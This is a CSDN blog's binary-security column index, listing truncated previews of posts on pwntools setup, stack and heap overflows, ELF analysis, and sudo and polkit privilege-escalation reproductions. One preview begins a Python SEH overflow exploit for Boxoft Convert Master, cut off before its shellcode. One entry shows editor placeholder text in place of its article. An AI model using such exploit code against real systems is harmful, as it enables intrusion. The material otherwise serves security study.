![](https://img-blog.csdnimg.cn/ef844e9871e04b269f4706213cf292b0.png?x-oss-process=image/resize,m_fixed,h_224,w_224)
二进制安全
文章平均质量分 73
菜鸟博主的二进制安全艰辛之路。本专栏将长期分享二进制安全,软件安全,Fuzzing,PWN相关内容。订阅专栏我们共同进步!
IT鹅
To be a practitioner of theory and technology. A self-driven cyber security researcher.The research interests including Software Vulnerability Analysis and excavation,Internet protocol security.Emali:hongjian@anyeziyuan.com Github:@pwn2security
展开
-
Mac Catalina安装pwntools
首先安装brew/bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)"brew换国内源cd "$(brew --repo)"git remote set-url origin https://mirrors.ustc.edu.cn/brew.git 接着重启终端打开终端后输入命令pwntools,等待片刻。pwntools安装完成checksec&&am原创 2021-07-21 17:41:41 · 304 阅读 · 0 评论 -
网络安全渗透测试资源库
参考文章地址:添加链接描述转载 2021-01-03 08:46:00 · 352 阅读 · 0 评论 -
CTF:pip安装pwntools最新教程(解决旧版本pip升级问题)
首先从使用命令$ curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py # 下载安装脚本$ sudo python get-pip.py # 运行安装脚本这时候一般会这样的错误(下图)。由于我们不知晓pip的版本,部分pip无法使用-v或者-version参数查看版本,这时候我们观察到提示Please use https://bootstrap.pypa.io/pip/2.7/get-pip.py instead.我们现在看到提原创 2021-07-16 08:32:48 · 1628 阅读 · 0 评论 -
GDBpeda与pwngdb、gef等插件的正确切换方式
原理:我们将gdb的插件放入到一个文件夹,方便系统读取文件路径git clone https://gitee.com/hongsofwing/GDB-Plugins.git在 pwndbg 文件夹中 git init 初始化一下,然后运行 ./setup.sh 安装想用 peda:echo "source ~/GDB-Plugins/peda/peda.py" > ~/.gdbinit想用 peda-heap:echo "source ~/GDB-Plugins/peda-heap/原创 2021-02-20 01:07:48 · 2205 阅读 · 7 评论 -
超硬核:深入讲解Perl安全之代码审计——perl脚本中存在的问题与存在的安全风险
博主:鴻漸之翼个人介绍:男,搞底層的FW,喜歡發一點沒用的東西。介绍:程序设计语言通常不构成安全风险,风险是由程序员带来的。几乎每种语言都有某些缺陷,这些缺陷在某种程度上可能有助于创建不安全的软件,但软件的整体安全性仍然在很大程度上取决于开发者的安全意识。Perl也有安全“陷阱”,然而大多数Perl程序员并不了解这些陷阱。在本文中,我们将介绍一些被广泛误用和忽视的Perl特性。本文将展示perl语言不正确的使用方式,错误使用方式又是如何对运行程序的用户,及系统构成威胁。本文也会展示如何利用这些漏洞,原创 2021-08-17 12:22:42 · 1892 阅读 · 3 评论 -
二进制安全:转化大师漏洞复现:Boxoft Convert Master 1.3.0 - ‘wav‘ SEH Local Exploit
此次渗透测试针对软件转换大师Boxoft Convert Master‘wav’ SEH 本地攻击实验平台:windows7poc由Achilles提供exp:import structbuffer = "\x41" * 4132nseh = "\xeb\x06\x90\x90" #jmp short 6seh = struct.pack('<L',0x6d00c683) #CDRip122.dllnops = "\x90" * 20#Bind=shellcode por原创 2021-05-04 20:19:10 · 671 阅读 · 2 评论 -
CVE-2021-3156(sudo Heap overflow sudo本地提权复现与分析)
CVE-2021-3156简介:原创 2021-02-04 16:39:03 · 4431 阅读 · 4 评论 -
(一)PWN二进制安全总结篇
Linux常见保护机制1.Canary2.Fortify3.NX/DEP4.PIE/ALSR5.RELROLinux保护机制NX保护将数据(堆、栈)所在内存页识别为不可执行,当程序溢出成功转入shellcode时,程序尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。编译选项:关闭: -z execstack开启: -z noexecstackPIE保护作用:使得程序地址空间随机化,增加ROP等利用的难度。(地址不确定)编译选项:关闭:-no-pie原创 2021-08-25 09:50:47 · 1071 阅读 · 1 评论 -
恶意代码分析技巧:如何判断程序是32位还是64位
相信大家在使用IDA进行逆向分析之前都需要考虑应用程序版本我们需要使用PEviewEXE程序进行分析依次点击IMAGE_NT_HEADERS-IMAGE_FILE_HEADERwindows7下会警告,点击确定继续注意观察MACHINE这个字段提示了此程序是 i386...原创 2021-08-18 18:30:36 · 223 阅读 · 0 评论 -
看雪软件安全精选:二进制各种漏洞原理实战分析总结
看雪安全二进制漏洞专区0xbird原创本部分将对常见的二进制漏洞做系统分析,方便在漏洞挖掘过程中定位识别是什么类型漏洞,工欲善其事,必先利其器。0x01栈溢出漏洞原理栈溢出漏洞属于缓冲区漏洞的一种,实例如下:#include <stdio.h>#include <string.h> int main(){ char *str = "AAAAAAAAAAAAAAAAAAAAAAAA"; vulnfun(str); return;} int转载 2021-08-23 16:33:40 · 1154 阅读 · 0 评论 -
[二进制安全]经典栈溢出(stack_example)
栈溢出介绍栈溢出实战扩展: Linux系统保护机制很多读者朋友在问这篇文章里的checksec是什么工具?这里先解释下,我们用的平台是Linux系统,checksec是一个叫做pwntools包含的工具,如果不清楚如何搭建平台复现此实验,可以参考这篇文章二进制安全:实验环境搭建之pwntools安装:利用国内源提速下载pip安装各式各样的库(安装pwn库全程指导)栈溢出实验程序:#include <stdio.h>#include <string.h>void suc..原创 2021-05-09 16:12:43 · 1306 阅读 · 1 评论 -
二进制安全:ELF文件深度分析Linux二进制代码审计
1.ELF文件类型ET_NONE这个文件类型不确定或者意味着未被定义。ET_REL重定向文件。ELF类型标定为relocatable,也被称为目标文件。可重定位目标文件通常是还未被链接到的可执行文件的一段位置独立的代码(postion independent code)。编译完成代码之后,生成.o文件这个文件包含了创建可执行文件所需要的代码与数据。ET_EXEC可执行文件。ELF类型为executable,表明这个文件被标记为可执行文件。ET_DYN共享目标文件。ELF类型为dynamic原创 2021-05-08 22:38:27 · 1116 阅读 · 4 评论 -
二进制安全:经典栈溢出手法笔记总结
二进制安全基础概念应用程序内存空间布局Linux x86的ELF内存布局:高1GB空间是内核所使用并由所有用户态应用程序共享的。栈自底向上增长,尺寸动态变化,默认临界大小是8M。Stack和mmap间有个随机偏移量用于防止栈溢出污染mmap。Mappings区间主要布置动态链接库。默认进程堆自顶向下增长。0x08048000开始的低地址映射ELF各个节区成段。Linux 2.6.7内核以前mmap方向相反X64的mmap方向也相反经典栈溢出手法的应运而生追溯到1996年著名的黑客杂志原创 2021-05-09 13:08:28 · 318 阅读 · 0 评论 -
x64 Calling Convention 原理
x64 Calling Conventionrdi, rsi, rdx, rcd, r8,r9,(push to stack)rdi, rsi,rdx,r10,r8,r9(push to stack)for system callreturn value is stored in rax原创 2020-10-25 15:22:53 · 342 阅读 · 0 评论 -
CVE-2021-3560-POLKIT本地提权漏洞复现
博主:鴻漸之翼个人介绍:男,搞底層的FW,喜歡發一點沒用的東西。Polkit 0.105-26 0.117-2 - Local Privilege EscalationExploit!Tested on Ubuntu20.10 Linux localhost啟明星辰漏洞簡介Polkit是许多Linux 发行版上默认安装的系统服务,它被systemd使用,所以任何使用systemd的Linux发行版都会使用polkit。2021年06月03日,RedHat发布安全公告,修复了Linux Po原创 2021-07-22 12:14:16 · 2072 阅读 · 2 评论 -
硬核二进制安全学习:Example:Function Prologue and Function Epilogue(基础函数调用机制)
实例程序:分析:程序解释:定义val,val = function add(2)add(2):2=num-1 ==> num=3return num =num+add(2)=3+2=5val=num=5编译成汇编:汇编代码部分分析:#Function Prologue部分:push rbpmov rbp,rspsub rsp,0x10#分配新的local varibal,即Stack中开辟新空间mov edi,0x2 #val=add(2);在stack中分配空间原创 2021-01-01 01:20:45 · 2232 阅读 · 4 评论 -
二进制安全学习:最新指导Pwn环境搭建教程(安装Peda插件Pwn库 IDApro for Mac15)
1.首先下载Ubuntu 16.0.4 ,推荐使用网易镜像站。ubuntu16.0.4下载地址2.使用虚拟机安装Ubuntu,博主在Mac平台上使用的是Parallels Desktop,只需要将iso镜像放到软件里面,然后设置账号密码,即可自动安装,安装大概10分钟。3.更换为国内的镜像源,并且更新镜像源。安装vim编辑器(注:ubuntu16.0.04中无vim编辑器)sudo apt install vim 编辑sources.list文件,进入i输入模式(按下i键即可编辑文件)su原创 2021-01-29 10:49:56 · 927 阅读 · 2 评论 -
CVE-2021-4034 Pkexec LPE原理精析
国外Qualys安全团队在CVE平台披露了Linux系统Polkit中的pkexec组件存在的本地权限提升漏洞(CVE-2021-4034)。Polkit默认安装在各个主要的 Linux 发行版本上(诸如Ubuntu、Debian、Fedora等知名Linux发型版本),pkexec程序对传入参数未过滤,攻击者可以将环境变量bash作为命令执行,从而诱导 pkexec 执行任意代码,利用成功可导致非特权用户获得管理员r原创 2022-02-26 11:58:39 · 5471 阅读 · 2 评论 -
Stack frame堆栈框架漏洞利用原理
1.Function Prologue2.Function EpilogueFunction Prologuepush rbpmov rbp,rspsub rsp,0x10原创 2020-10-25 15:45:08 · 176 阅读 · 0 评论 -
利用Windows“挖矿”Windows创建RPC攻击接口(一)
RPC技术简介:RPC英文全称:Remote Procedure Call ,RPC技术适用在windows操作系统上,可以与Linux与MacOS系统作为客户端或服务端进行交互,开发者需要熟悉 Microsoft 接口定义语言 (MIDL) 和 MIDL 编译器。Microsoft Remote Procedure Call (RPC) defines a powerful technology for creating distributed client/server programs. The原创 2022-02-10 16:05:02 · 3950 阅读 · 0 评论 -
二进制安全:ptmalloc内存管理机制与堆块chunk源码分析
Ptmalloc内存管理概述:简介:ptmalloc 实现了 malloc(),free()以及一组其它的函数. 以提供动态内存管理的支持。分配器处在用户程序和内核之间,它响应用户的分配请求,向操作系统申请内存,然后将其返回给用户程序,为了保持高效的分配,分配器一般都会预先分配一块大于用户请求的内存, 并原创 2022-01-09 14:27:49 · 2628 阅读 · 0 评论 -
[剑指安全之巅]模糊测试深入安全漏洞挖掘方法
白盒测试、黑盒测试、灰盒测试方法差异:测试者所掌握的资源,这包括访问源代码、设计规约。白盒测试是测试者掌握了源代码的情况下,直接对产品代码进行分析安全测试中有各种奇技淫巧,其中大众所了解到的是Web应用的Pen测试,Web渗透是一种黑盒测试的一种方式,它不需要访问源代码,黑盒测试意味着只能从了解外部观察到的东西。作为终端用户,可以控制输入,从一个黑盒子的一端提供输入,但测试者往往不了解内部的工作细节。以Web测试为例子,我们.........原创 2021-12-11 14:25:31 · 2656 阅读 · 0 评论 -
二进制安全学习路线
关于二进制安全(软件安全)方面,我曾经写了过很多文章,今天整理了下,看来比较水,可以仅供大家参考。包括了硬核二进制安全系列与二进制安全系列专栏硬核二进制安全学习:Heap overflow堆溢出(壹)PWN二进制安全总结篇硬核二进制安全:汇编语言快速入门底层语言基础二进制安全:经典栈溢出(stack_example)实战二进制安全:经典栈溢出手法笔记总结二进制安全:ELF文件深度分析Linux二进制代码审计二进制安全:转化大师漏洞复现:Boxoft Convert Master 1.3.0原创 2021-12-05 11:50:46 · 8525 阅读 · 6 评论 -
硬核二进制安全:Pwn Return To Text溢出漏洞的分析与利用
这里写自定义目录标题欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能,丰富你的文章UML 图表FLowchart流程图导出与导入导出导入欢迎使用Markdown编辑器你好! 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Mar原创 2021-12-05 11:37:51 · 1358 阅读 · 0 评论 -
Black Hat USA 2021:通过无线基带-针对5G智能手机的RCE白皮书
Over The Air Baseband Exploit: Gaining Remote Code Execution on 5G Smartphones通过无线基带-针对5G智能手机的RCE远程代码执行攻击白皮书致谢:腾讯科恩安全实验室Keen Security Lab of TencentMarco Grassi (@marcograss), Xingyu Chen (@0xKira233)研究5G网络安全的背景:近年来,我们看到5G网络被广泛采用,包括消费设备、物联网和关键基础设施。原创 2021-10-17 15:16:28 · 6567 阅读 · 0 评论 -
Heap overflow堆溢出(一)
堆溢出介绍:堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数(之所以是可使用而不是用户申请的字节数,是因为堆管理器会对用户所申请的字节数进行调整,这也导致可利用的字节数都不小于用户申请的字节数),因而导致了数据溢出,并覆盖到物理相邻的高地址......原创 2021-10-01 11:39:39 · 3356 阅读 · 1 评论 -
RCE高危漏洞预警:CVE-2021-40444简要分析
漏洞影响及其危害:未经身份验证的攻击者可以利用该漏洞在目标系统上执行代码。Microsoft发布了一份关于此漏洞的官方公告。这篇博客文章讨论了该漏洞如何发挥作用.。我们已获得多个利用此漏洞的文档样本。文档包中的document.xml.rels文件中都包含以下代码:请大家主要,存在一个URL(我们已删除),该URL下载一个名为side.html的文件(SHA-256:D0FD7ACC38B3105FACD699534242F28E45F5380FDF2EC93EA24BFBC1DC9E6)。该文件原创 2021-09-24 22:09:18 · 2127 阅读 · 0 评论 -
Phrack安全杂志:详细分析堆栈溢出Smashing The Stack For Fun And Profit(Aleph One) 关于粉碎堆栈的秘密
致敬:Aleph One原文首发于Phrack,这是全球第一篇讲述堆栈漏洞的文章,里面提供了学习二进制安全的方法和基础理论知识,详细的描述了栈溢出的原理是什么?这里首次提到function prolouge 和 function epilogue,什么是Stack ?什么是Bufferoverflow?本文献给所有安全行业的研究者和贡献者,由于译者水平有限,翻译与原文内容稍有不同,请谅解。博主希望用质朴的语言展示二进制安全技术,让二进制安全进入大众视野。本文的实例全部可以在Linux平台上复现出来,文章.原创 2021-08-14 15:10:46 · 1065 阅读 · 0 评论 -
硬核二进制安全:汇编语言快速入门底层语言基础
X86 Register:General-Purpose Register16-bit:AX,BX,CX,DX32-bit:EAX(Accumulator)累加寄存器EBX(Base Register)基地址寄存器ECX(Count Register)计数寄存器EDX(Data Register)数据寄存器EBP(Base Pointer)堆栈寄存器EDI(Index Register)变址寄存器ESP(Stack Pointer)堆栈顶指针CS——(Code Segment Reg原创 2021-06-11 11:30:18 · 378 阅读 · 0 评论 -
二进制安全:PWN:pwntools工具的用法
pwntools是一个CTF框架和开发库。它是用Python编写的,是为快速原型设计和开发而设计的,旨在使利用漏洞的编写尽可能简单。from pwn importThis imports a lot of functionality into the global namespace. You can now assemble, disassemble, pack, unpack, and many other things with a single function.A full list of原创 2021-04-17 20:32:55 · 1474 阅读 · 0 评论 -
二进制安全:一文讲通Stack and Function Call栈与函数调用原理应用
栈是计算机中最重要的数据结构之一,它是一个先入后出的数据结构。栈空间是计算机内存中的一段确定的内存区域,也有着一些指针指向相应的内存地址,在x86架构中这个指针位于ESP寄存器,而在x86-x64平台上的RSP寄存器。在计算机底层中:(1)储存局部变量(2)执行CALL指令调用函数时,保存函数地址结束的时候,正确返回。(3)传递函数参数。操作栈的常用指令是PUSH和POP,即入栈和出栈。PUSH指令会对ESP、RSP、SP寄存器的值进行减法运算。下面得汇编将通过栈完成EAX和EBX值得交换。M原创 2021-03-06 18:37:26 · 1561 阅读 · 5 评论 -
硬核二进制安全学习:Buffer Overflow(栈的缓冲区溢出&&Pwn技巧Return to Text)
前言:我喜欢讲本质的东西,也许用处不一定大,希望我的“硬核二进制学习”系列文章能给你带来一些启迪,二进制安全的路虽然艰苦,只想为你分享我程序生涯的点点滴滴。我是CSDN博主鸿渐之翼,文章有许多不足之处,欢迎各位学者专家指正批评。点赞????+收藏+关注上期文章:添加链接描述NTUSTISC Pwn basic 台湾科技大学Buffer Overflow:...原创 2021-01-09 23:40:58 · 1752 阅读 · 3 评论